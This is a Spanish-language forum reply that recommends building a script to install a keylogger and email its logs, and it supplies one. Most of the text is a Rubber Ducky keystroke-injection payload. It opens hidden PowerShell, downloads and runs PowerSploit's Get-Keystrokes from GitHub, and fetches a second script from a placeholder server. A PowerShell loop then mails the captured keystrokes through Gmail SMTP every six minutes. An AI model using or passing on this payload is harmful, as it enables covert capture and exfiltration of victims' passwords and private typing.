¡Hola!
Sí, deberías crear un script que lo que haga por ejemplo sea descargarse un keylogger, ejecutarlo y enviar los logs por mail.
Te dejo un ejemplo:
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle hidden
ENTER
DELAY 1500
STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')
ENTER
DELAY 400
STRING Get-Keystrokes -LogPath $env:temp\key.txt
ENTER
DELAY 200
GUI r
DELAY 300
STRING powershell -WindowStyle hidden IEX (New-Object Net.WebClient).DownloadString('http://yourserver/mail.ps1')
ENTER$SMTPServer = 'smtp.gmail.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'yourpass')
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = '[email protected]'
$ReportEmail.To.Add('[email protected]')
$ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
while(1){$ReportEmail.Attachments.Add("$ENV:temp\key.txt");$SMTPInfo.Send($ReportEmail);sleep 360} Fuente: https://forums.hak5.org/topic/40066-powershell-keylogger-in-seconds/
Un saludo.